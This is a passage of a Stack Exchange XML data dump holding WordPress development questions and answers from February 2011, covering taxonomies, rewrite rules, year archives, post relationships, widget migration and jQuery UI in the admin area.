  <row Id="9063" PostTypeId="2" ParentId="4333" CreationDate="2011-02-10T11:21:21.007" Score="0" ViewCount="" Body="&lt;p&gt;you have to change it to %postname%&lt;/p&gt;&#xA;" LastActivityDate="2011-02-10T11:21:21.007" />
  <row Id="9064" PostTypeId="2" ParentId="9060" CreationDate="2011-02-10T11:30:12.050" Score="1" ViewCount="" Body="&lt;p&gt;You retrieve it with &lt;code&gt;$wp_taxonomies&lt;/code&gt; already. I just wrote it down, so you'll probably have to try a little to get the following lines of code up and running, but it should give you an idea of how it should work (see it as reference/pseudo code):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: After a note from &lt;a href=&quot;http://wordpress.stackexchange.com/users/89/mikeschinkel&quot;&gt;Mike Schinkel&lt;/a&gt; i updated the code to make it easier to ignore built in taxonomies (see: _builtin). I hope Mike will post the example he sent me here, so his (much easier) sollution can be marked as the final approach...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// equals the following $keys&#xA;$wp_taxonomies['category'] == $wp_taxonomies[0];&#xA;$wp_taxonomies['post_tag'] == $wp_taxonomies[1];&#xA;$wp_taxonomies['nav_menu'] == $wp_taxonomies[2];&#xA;$wp_taxonomies['link_category'] == $wp_taxonomies[3];&#xA;&#xA;// after $key #3 you retrieve all different registered taxonomies&#xA;$all_tax = count($wp_taxonomies)-4; // gives you the amount of reg. tax.&#xA;&#xA;// Here starts the actual code&#xA;$post_types = array(); // some empty array to save your post types for further procesing&#xA;$i = 0;&#xA;foreach ( $wp_taxonomies as $tax ) {&#xA;if ( !$tax-&amp;gt;_builtin)&#xA;  $post_type_arr = $tax[$i]-&amp;gt;object_type; // array of post types in the current taxonomy&#xA;  foreach ( $post_type_arr as $arr ) : // loop through all post types assigned to the taxonomy&#xA;    $post_types[] .= $arr; // assign them to our array of post types&#xA;  endforeach;&#xA;  $i++;&#xA;}&#xA;$post_types = array_unique($post_types); // drop doublettes out of the array&#xA;var_dump($post_types);&#xA;&#xA;# expected result close to this...&#xA;&#xA;# Array(&#xA;#   1 =&amp;gt; $post_type_a,&#xA;#   2 =&amp;gt; $post_type_b,&#xA;#   3 =&amp;gt; $post_type_n&#xA;# );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-10T17:48:01.470" LastActivityDate="2011-02-10T17:48:01.470" CommentCount="4" />
  <row Id="9065" PostTypeId="2" ParentId="9050" CreationDate="2011-02-10T12:16:39.373" Score="1" ViewCount="" Body="&lt;p&gt;Not sure if there's a specific function for this as i didn't find anything with a quick search, but i went ahead and wrote a function to do the job, feel free to expand upon it or do whatever you like with it.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;List year archives for published posts of a type&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Code is provided &quot;as is&quot;, do as you will with it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_years_for_type( $type = 'post', $echo = false, $sep = '&amp;lt;br /&amp;gt;' ) {&#xA;    global $wpdb, $wp_post_types;&#xA;&#xA;    $type = '' == $type ? 'post' : $type;&#xA;&#xA;    if( !isset( $wp_post_types[$type] ) )&#xA;        return;&#xA;&#xA;    $q = $wpdb-&amp;gt;get_col( $wpdb-&amp;gt;prepare( &quot;SELECT YEAR(post_date) as year FROM wp_posts WHERE post_type = %s AND post_status = 'publish' GROUP by year&quot;, $type ) );&#xA;&#xA;    if( empty( $q ) )&#xA;        return;&#xA;&#xA;    $y = array();&#xA;    foreach( $q as $year )&#xA;        $y[] = '&amp;lt;a href=&quot;' . get_year_link( $year ) . '&quot;&amp;gt;' . $year . '&amp;lt;/a&amp;gt;';&#xA;&#xA;    $y = implode( $sep, $y );&#xA;&#xA;    if( $echo )&#xA;        echo $y;&#xA;    else&#xA;        return $y;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example usage:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Output list of years for pages&#xA;echo get_years_for_type( 'page' );&#xA;get_years_for_type( 'page', true ); &#xA;&#xA;// Output list of years for posts&#xA;echo get_years_for_type();&#xA;get_years_for_type( 'post', true ); &#xA;&#xA;// Storing the result in a variable&#xA;$var = get_years_for_type(); // post is assumed for type when none set&#xA;&#xA;// Using an alternate seperator for the links&#xA;echo get_years_for_type( 'post', false, ' | ' );    &#xA;get_years_for_type( 'post', true, ' | ' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-10T12:16:39.373" CommentCount="2" />
  <row Id="9066" PostTypeId="1" AcceptedAnswerId="9067" CreationDate="2011-02-10T12:34:51.917" Score="0" ViewCount="113" Body="&lt;p&gt;I want to publish static pages on Wordpress quickly. Live Writer is a very good client for formatting and publishing blog posts. But I couldn't find a way to use it for publishing static pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to publish static pages on Wordpress quickly with an easy to use client?&lt;/p&gt;&#xA;" OwnerUserId="2261" LastActivityDate="2011-02-10T13:02:02.127" Title="Any Good Wordpress Client Like Live Writer To Create Static Pages" Tags="&lt;static&gt;&lt;windows-live-writer&gt;" AnswerCount="1" />
  <row Id="9067" PostTypeId="2" ParentId="9066" CreationDate="2011-02-10T13:02:02.127" Score="1" ViewCount="" Body="&lt;p&gt;According to the following page Live Writer can manage pages as of Beta2.&lt;br&gt;&#xA;&lt;a href=&quot;http://en.support.wordpress.com/xml-rpc/windows-live-writer/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/xml-rpc/windows-live-writer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it's simply a case of waiting to use the newer version that includes page management?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't use WLW myself, but a quick google did garner the above link, so hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-10T13:02:02.127" CommentCount="2" />
  <row Id="9068" PostTypeId="2" ParentId="8349" CreationDate="2011-02-10T13:54:46.630" Score="0" ViewCount="" Body="&lt;p&gt;This is almost certainly a rewriting issue - either mod_rewrite isn't being loaded, or your .htaccess file isn't allowed to override your httpd.conf&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure mod_rewrite is being loaded - you'll need to check /etc/httpd/conf/httpd.conf and look for a line like: &lt;code&gt;LoadModule rewrite_module modules/mod_rewrite.so&lt;/code&gt;. Make sure this line isn't being commented out.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you've create a virtual host, then make sure you're allowing .htaccess overrides within the  section - something like ` AllowOverride All . If you're not using a virtual host, then follow the Override chain in your httpd.conf to make sure that the directory WP is located in can be overridden&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable w3 total cache (and delete the lines it adds to .htaccess) until you've sorted out your rewriting issue. It just confuses things, and given your site isn't working, caching is the least of your worries.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check your apache error logs /var/log/httpd and see what they say.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-02-10T13:54:46.630" CommentCount="3" />
  <row Id="9069" PostTypeId="2" ParentId="9016" CreationDate="2011-02-10T14:26:30.427" Score="0" ViewCount="" Body="&lt;p&gt;Your rewrite rules must not start with the first slash, that is already stripped out. So the following code will add a rewrite rule that will set a query variable that we can later use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse9016_init' );&#xA;function wpse9016_init()&#xA;{&#xA;    add_rewrite_rule( 'currentpage/(\d+)/?', 'index.php?wpse9016_currentpage=$matches[1]', 'top' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This query variable is ignored unless we add it to the list of &lt;em&gt;public query variables&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'query_vars', 'wpse9016_query_vars' );&#xA;function wpse9016_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'wpse9016_currentpage';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After you have done this, you can check for it and do whatever you want when it is set. A common use is to load a specific template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'template_include', 'wpse9016_template_include' );&#xA;function wpse9016_template_include( $template )&#xA;{&#xA;    if ( get_query_var( 'wpse9016_currentpage' ) ) {&#xA;        $template = locate_template( array( 'wpse9016_template.php' ) );&#xA;    }&#xA;    return $template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if you go to &lt;code&gt;http://www.example.com/currentpage/2/&lt;/code&gt;, the file &lt;code&gt;wpse9016_template.php&lt;/code&gt; in your theme directory will be loaded, where you can read &lt;code&gt;get_query_var( 'wpse9016_currentpage' )&lt;/code&gt; to get the current page number.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-10T14:26:30.427" CommentCount="2" />
  <row Id="9070" PostTypeId="1" AcceptedAnswerId="9266" CreationDate="2011-02-10T14:32:20.110" Score="0" ViewCount="110" Body="&lt;p&gt;How can I show only terms by id or slug on edit-tags.php (custom taxonomy manage page) for a custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am saving term_owner metadata to a table for each term and getting all terms' ids for a specific term_owner. Now I want to show only these terms on edit-tags.php. I have tried list_terms_exclusions filter but seems it doses not work for edit-tags.php?taxonomy={custom_taxonomy_name} or I am missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me with a working exapmle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks you.&lt;/p&gt;&#xA;" OwnerUserId="1581" LastActivityDate="2011-03-07T11:15:35.453" Title="How to show only terms by id or slug on edit-tags.php (custom taxonomy manage page) for a custom taxonomy" Tags="&lt;custom-taxonomy&gt;&lt;terms&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" />
  <row Id="9071" PostTypeId="2" ParentId="2771" CreationDate="2011-02-10T14:44:29.910" Score="1" ViewCount="" Body="&lt;p&gt;Not really an answer, but perhaps the answer lies within this somewhere. I unpacked the navmenu js script, and stripped out what appeared to be the code which makes the drag/drop sortable nested nav items possible. It's not pretty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think jQuery UI's dragable/sortable modules support nesting elements, and that's most likely the thing that will make or break whether you make it work that way. The navmenu script has a rather indepth and hard to decipher set of objects and functions that are used to calculate the inner and outer width, or depth's. I would try to figure it out, but I have my own issue with my ajax post attachments uploading dynamic metabox plugin and making that work correctly still.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe looking at this though will give you some insight to what you need to do in your code, if you are even able to using jqUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the entire nav-menu.js file unpacked, &lt;a href=&quot;https://gist.github.com/820633&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/820633&lt;/a&gt;&#xA;There are pieces you may need to see which tie this stuff together in order to make sense of it, which I didn't include.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;depthToPx: function (c) {&#xA;    return c * a.options.menuItemDepthPerLevel&#xA;},&#xA;pxToDepth: function (c) {&#xA;    return Math.floor(c / a.options.menuItemDepthPerLevel)&#xA;}&#xA;&#xA;menuItemDepth: function () {&#xA;    var c = a.isRTL ? this.eq(0).css(&quot;margin-right&quot;) : this.eq(0).css(&quot;margin-left&quot;);&#xA;    return a.pxToDepth(c &amp;amp;&amp;amp; -1 != c.indexOf(&quot;px&quot;) ? c.slice(0, -2) : 0)&#xA;},&#xA;updateDepthClass: function (d, c) {&#xA;    return this.each(function () {&#xA;        var e = b(this);&#xA;        c = c || e.menuItemDepth();&#xA;        b(this).removeClass(&quot;menu-item-depth-&quot; + c).addClass(&quot;menu-item-depth-&quot; + d)&#xA;    })&#xA;},&#xA;shiftDepthClass: function (c) {&#xA;    return this.each(function () {&#xA;        var d = b(this),&#xA;            e = d.menuItemDepth();&#xA;        b(this).removeClass(&quot;menu-item-depth-&quot; + e).addClass(&quot;menu-item-depth-&quot; + (e + c))&#xA;    })&#xA;},&#xA;childMenuItems: function () {&#xA;    var c = b();&#xA;    this.each(function () {&#xA;        var d = b(this),&#xA;            f = d.menuItemDepth(),&#xA;            e = d.next();&#xA;        while (e.length &amp;amp;&amp;amp; e.menuItemDepth() &amp;gt; f) {&#xA;            c = c.add(e);&#xA;            e = e.next()&#xA;        }&#xA;    });&#xA;    return c&#xA;},&#xA;updateParentMenuItemDBId: function () {&#xA;    return this.each(function () {&#xA;        var e = b(this),&#xA;            c = e.find(&quot;.menu-item-data-parent-id&quot;),&#xA;            f = e.menuItemDepth(),&#xA;            d = e.prev();&#xA;        if (f == 0) {&#xA;            c.val(0)&#xA;        } else {&#xA;            while (!d[0] || !d[0].className || -1 == d[0].className.indexOf(&quot;menu-item&quot;) || (d.menuItemDepth() != f - 1)) {&#xA;                d = d.prev()&#xA;            }&#xA;            c.val(d.find(&quot;.menu-item-data-db-id&quot;).val())&#xA;        }&#xA;    })&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the sortables init method, which does some crazy algebraic E=Mc2 looking stuff lol&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;initSortables: function () {&#xA;    var p = 0,&#xA;        e, t, d, l, o, f, c, i, s, m = a.menuList.offset().left,&#xA;        h = b(&quot;body&quot;),&#xA;        q, n = r();&#xA;    m += a.isRTL ? a.menuList.width() : 0;&#xA;    a.menuList.sortable({&#xA;        handle: &quot;.menu-item-handle&quot;,&#xA;        placeholder: &quot;sortable-placeholder&quot;,&#xA;        start: function (A, z) {&#xA;            var u, x, w, v, y;&#xA;            if (a.isRTL) {&#xA;                z.item[0].style.right = &quot;auto&quot;&#xA;            }&#xA;            s = z.item.children(&quot;.menu-item-transport&quot;);&#xA;            e = z.item.menuItemDepth();&#xA;            j(z, e);&#xA;            w = (z.item.next()[0] == z.placeholder[0]) ? z.item.next() : z.item;&#xA;            v = w.childMenuItems();&#xA;            s.append(v);&#xA;            u = s.outerHeight();&#xA;            u += (u &amp;gt; 0) ? (z.placeholder.css(&quot;margin-top&quot;).slice(0, -2) * 1) : 0;&#xA;            u += z.helper.outerHeight();&#xA;            i = u;&#xA;            u -= 2;&#xA;            z.placeholder.height(u);&#xA;            q = e;&#xA;            v.each(function () {&#xA;                var B = b(this).menuItemDepth();&#xA;                q = (B &amp;gt; q) ? B : q&#xA;            });&#xA;            x = z.helper.find(&quot;.menu-item-handle&quot;).outerWidth();&#xA;            x += a.depthToPx(q - e);&#xA;            x -= 2;&#xA;            z.placeholder.width(x);&#xA;            y = z.placeholder.next();&#xA;            y.css(&quot;margin-top&quot;, i + &quot;px&quot;);&#xA;            z.placeholder.detach();&#xA;            b(this).sortable(&quot;refresh&quot;);&#xA;            z.item.after(z.placeholder);&#xA;            y.css(&quot;margin-top&quot;, 0);&#xA;            k(z)&#xA;        },&#xA;        stop: function (x, w) {&#xA;            var v, u = p - e;&#xA;            v = s.children().insertAfter(w.item);&#xA;            if (u != 0) {&#xA;                w.item.updateDepthClass(p);&#xA;                v.shiftDepthClass(u);&#xA;                g(u)&#xA;            }&#xA;            a.registerChange();&#xA;            w.item.updateParentMenuItemDBId();&#xA;            w.item[0].style.top = 0;&#xA;            if (a.isRTL) {&#xA;                w.item[0].style.left = &quot;auto&quot;;&#xA;                w.item[0].style.right = 0&#xA;            }&#xA;            a.refreshMenuTabs(true)&#xA;        },&#xA;        change: function (v, u) {&#xA;            if (!u.placeholder.parent().hasClass(&quot;menu&quot;)) {&#xA;                (l.length) ? l.after(u.placeholder) : a.menuList.prepend(u.placeholder)&#xA;            }&#xA;            k(u)&#xA;        },&#xA;        sort: function (w, v) {&#xA;            var y = v.helper.offset(),&#xA;                u = a.isRTL ? y.left + v.helper.width() : y.left,&#xA;                x = a.negateIfRTL * a.pxToDepth(u - m);&#xA;            if (x &amp;gt; d || y.top &amp;lt; f) {&#xA;                x = d&#xA;            } else {&#xA;                if (x &amp;lt; t) {&#xA;                    x = t&#xA;                }&#xA;            }&#xA;            if (x != p) {&#xA;                j(v, x)&#xA;            }&#xA;            if (c &amp;amp;&amp;amp; y.top + i &amp;gt; c) {&#xA;                o.after(v.placeholder);&#xA;                k(v);&#xA;                b(this).sortable(&quot;refreshPositions&quot;)&#xA;            }&#xA;        }&#xA;    });&#xA;&#xA;    function k(u) {&#xA;        var v;&#xA;        l = u.placeholder.prev();&#xA;        o = u.placeholder.next();&#xA;        if (l[0] == u.item[0]) {&#xA;            l = l.prev()&#xA;        }&#xA;        if (o[0] == u.item[0]) {&#xA;            o = o.next()&#xA;        }&#xA;        f = (l.length) ? l.offset().top + l.height() : 0;&#xA;        c = (o.length) ? o.offset().top + o.height() / 3 : 0;&#xA;        t = (o.length) ? o.menuItemDepth() : 0;&#xA;        if (l.length) {&#xA;            d = ((v = l.menuItemDepth() + 1) &amp;gt; a.options.globalMaxDepth) ? a.options.globalMaxDepth : v&#xA;        } else {&#xA;            d = 0&#xA;        }&#xA;    }&#xA;    function j(u, v) {&#xA;        u.placeholder.updateDepthClass(v, p);&#xA;        p = v&#xA;    }&#xA;    function r() {&#xA;        if (!h[0].className) {&#xA;            return 0&#xA;        }&#xA;        var u = h[0].className.match(/menu-max-depth-(\d+)/);&#xA;        return u &amp;amp;&amp;amp; u[1] ? parseInt(u[1]) : 0&#xA;    }&#xA;    function g(u) {&#xA;        var v, w = n;&#xA;        if (u === 0) {&#xA;            return&#xA;        } else {&#xA;            if (u &amp;gt; 0) {&#xA;                v = q + u;&#xA;                if (v &amp;gt; n) {&#xA;                    w = v&#xA;                }&#xA;            } else {&#xA;                if (u &amp;lt; 0 &amp;amp;&amp;amp; q == n) {&#xA;                    while (!b(&quot;.menu-item-depth-&quot; + w, a.menuList).length &amp;amp;&amp;amp; w &amp;gt; 0) {&#xA;                        w--&#xA;                    }&#xA;                }&#xA;            }&#xA;        }&#xA;        h.removeClass(&quot;menu-max-depth-&quot; + n).addClass(&quot;menu-max-depth-&quot; + w);&#xA;        n = w&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would be nice if they had a dev version of this file, like they do with other scripts in WP. The minified single letter vars are too much to handle for me right now. &#xA;It's just Alphabet soup.&lt;/p&gt;&#xA;" OwnerUserId="1366" LastEditorUserId="1366" LastEditorDisplayName="" LastEditDate="2011-02-10T14:51:27.410" LastActivityDate="2011-02-10T14:51:27.410" CommentCount="2" />
  <row Id="9072" PostTypeId="1" CreationDate="2011-02-10T15:18:34.860" Score="0" ViewCount="275" Body="&lt;p&gt;Let's say i have a sample post called &quot;avatar&quot; in &quot;movie&quot;, &quot;trailer&quot;, &quot;review&quot; and &quot;details&quot; custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i display in the &quot;movie&quot; custom post type the content + links to &quot;trailer&quot;, &quot;review&quot; and &quot;details&quot; custom post types ?&lt;/p&gt;&#xA;" OwnerUserId="2215" LastActivityDate="2011-02-10T15:30:56.243" Title="How to add relationships between custom post types?" Tags="&lt;custom-post-types&gt;" AnswerCount="2" />
  <row Id="9073" PostTypeId="2" ParentId="9072" CreationDate="2011-02-10T15:30:53.257" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@m3tsys:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you might find &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14513&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this trac ticket&lt;/strong&gt;&lt;/a&gt; instructive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, the best solution I've found this far is &lt;a href=&quot;http://www.zigpress.com/wordpress/plugins/zigconnect/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;ZigConnect Plugin&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.zigpress.com/wordpress/plugins/zigconnect/&quot; rel=&quot;nofollow&quot;&gt;http://www.zigpress.com/wordpress/plugins/zigconnect/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this help.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-10T15:30:53.257" />
  <row Id="9074" PostTypeId="2" ParentId="9072" CreationDate="2011-02-10T15:30:56.243" Score="3" ViewCount="" Body="&lt;p&gt;Ideally, you'd want to cast your vote into adding the infamous post2post relationship, which is still missing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14513&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14513&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meanwhile, the workarounds are three:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Map your posts to specially crafted taxonomies. (slow)&lt;/li&gt;&#xA;&lt;li&gt;Store relationships in postmeta. (very slow if you ever need to use that in a join statement)&lt;/li&gt;&#xA;&lt;li&gt;Create your own post2post table.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-02-10T15:30:56.243" CommentCount="2" />
  <row Id="9075" PostTypeId="1" AcceptedAnswerId="9078" CreationDate="2011-02-10T15:34:40.383" Score="0" ViewCount="231" Body="&lt;p&gt;I'm trying to exclude all the posts that doesn't have a category assigned to from the main loop, i searched everywhere and i found a billion ways to exclude some categories or filter from specific category but not what i need to do, is it possibile?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-11T15:16:40.913" Title="Exclude posts without category from loop" Tags="&lt;categories&gt;&lt;filters&gt;&lt;loop&gt;" AnswerCount="1" />
  <row Id="9076" PostTypeId="1" AcceptedAnswerId="9097" CreationDate="2011-02-10T15:35:10.963" Score="1" ViewCount="778" Body="&lt;p&gt;I've created a site in WordPress on our development machine. In the theme we're using there are numerous widget zones to display text in (sidebar and front page). I've used simple Text widgets in all of these zones to put our display information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I migrated the site to production, I used the WP-DB-Backup plugin to take a snapshot of the database. I then edited the resulting .sql file to update all of the file paths and URL references to point to our production site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After creating the database, website, and copying all of the files over to the production site, I run the .sql file from the mysql command prompt to import the data into the new database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I go to the production site, some of the text shows up and some of it doesn't. When I look into the widgets section of the site, the text widgets are missing from some of the widget zones. The text widgets aren't even visible in the &quot;Inactive Widget&quot; zone, they simply aren't there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even tried to repeat the process using the BackWPup plugin, noticing that the SQL syntax is different when it dumps the database out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why am I losing text widget data during the import?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2011-05-23T23:12:52.377" Title="Why is my database import losing text widget data?" Tags="&lt;database&gt;&lt;mysql&gt;&lt;import&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="9077" PostTypeId="2" ParentId="9038" CreationDate="2011-02-10T15:38:07.107" Score="1" ViewCount="" Body="&lt;p&gt;In this situation, I'd recommend the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Dump your production database into your test database &lt;/li&gt;&#xA;&lt;li&gt;Install WP 3 and point it at your test DB&lt;/li&gt;&#xA;&lt;li&gt;Run the database upgrade&lt;/li&gt;&#xA;&lt;li&gt;Turn users loose on the test instance&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;We used a similar process on a much larger installation, and it worked fairly well. Having the second instance made it possible to use our testing resources to verify functionality without depending on the users, too. &lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2011-02-10T15:38:07.107" CommentCount="3" />
  <row Id="9078" PostTypeId="2" ParentId="9075" CreationDate="2011-02-10T16:03:11.717" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Raffaele:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function &lt;code&gt;wp_get_object_terms(...)&lt;/code&gt; can provide you with the information you need. I've written a &lt;code&gt;has_category($post_id)&lt;/code&gt; function that can be used in the loop like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;   &amp;lt;?php if (has_category($post-&amp;gt;ID)): ?&amp;gt;&#xA;      &amp;lt;p&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the &lt;code&gt;has_category()&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function has_category($post_id) {&#xA;  $has_category = false;&#xA;  $terms = wp_get_object_terms($post_id,'category');&#xA;  if (is_array($terms)) {&#xA;    foreach($terms as $index =&amp;gt; $term)&#xA;      if ($term-&amp;gt;slug=='uncategorized')&#xA;        unset($terms[$index]);&#xA;    $has_category = (count($terms)&amp;gt;0);&#xA;  }&#xA;  return $has_category;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that my &lt;code&gt;has_category()&lt;/code&gt; function treats posts with the &lt;code&gt;'uncategorized'&lt;/code&gt; category as having no category. There are probably more performant ways to accomplish this but what you see above should work.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;-Mike &lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-11T15:16:40.913" LastActivityDate="2011-02-11T15:16:40.913" CommentCount="5" />
  <row Id="9079" PostTypeId="1" AcceptedAnswerId="9083" CreationDate="2011-02-10T16:11:59.680" Score="0" ViewCount="334" Body="&lt;p&gt;I want to be able to edit the post_parent of a custom post type.  Basically in my use case I want to mimic how WordPress uses attachments: have a custom post type that is sort of a subtype to post or any other post type.  WordPress uses the post_parent field on the wp_posts table to link attachments to their parent posts so I want to be able to do the same.  I've tried to use wp_update_posts but it seems to time out the connection when I try to call it during a post save.  Is there a way of editing the post_parent directly?&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-02-10T16:30:30.287" Title="How do you modify the 'post_parent' of a custom post type?" Tags="&lt;custom-post-types&gt;&lt;attachments&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9080" PostTypeId="1" AcceptedAnswerId="9082" CreationDate="2011-02-10T16:16:03.830" Score="1" ViewCount="312" Body="&lt;p&gt;Maybe someone has prior experience with this, but when I include the jQuery UI &lt;strong&gt;1.8.9&lt;/strong&gt; file within my &lt;code&gt;admin_head&lt;/code&gt; I break the functionality of the dashboard (i.e. popup for adding featured image, drag and drop menu items, etc.). If I include &lt;strong&gt;1.7.2&lt;/strong&gt;,  it doesn't break anymore but then my great little calendar won't work anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions is, currently (3.0.x),what is the best way to implement the jquery UI within admin pages without breaking everything?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;Other info: trying to add datepicker to a field within my custom post type&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Noel &lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-02-13T18:48:36.313" Title="jQuery UI in Admin (Best Practice?)" Tags="&lt;custom-post-types&gt;&lt;admin&gt;&lt;jquery&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="9081" PostTypeId="1" AcceptedAnswerId="9091" CreationDate="2011-02-10T16:26:22.847" Score="0" ViewCount="148" Body="&lt;p&gt;HI there,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to remove the actions added to wp_head by a plugin but only in certain circumstances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is code that doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_single() &amp;amp;&amp;amp; get_post_type()  == 'tenant') {&#xA;  $row = $wpdb-&amp;gt;get_row(&quot;SELECT * FROM Events WHERE WP_ID='$post-&amp;gt;ID'&quot;,ARRAY_A);&#xA;  remove_action('wp-head',array($aiosp, 'wp_head'));&#xA;  $seo_head = &quot;&amp;lt;title&amp;gt;&quot; . $row['Event'] . &quot; | &quot; . $row['Town'] . &#xA;              &quot; | Events in &quot;. $row['Country'] . &quot;&amp;lt;/title&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2911" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-10T16:32:00.053" LastActivityDate="2011-02-10T17:48:53.820" Title="Remove_action inside a function" 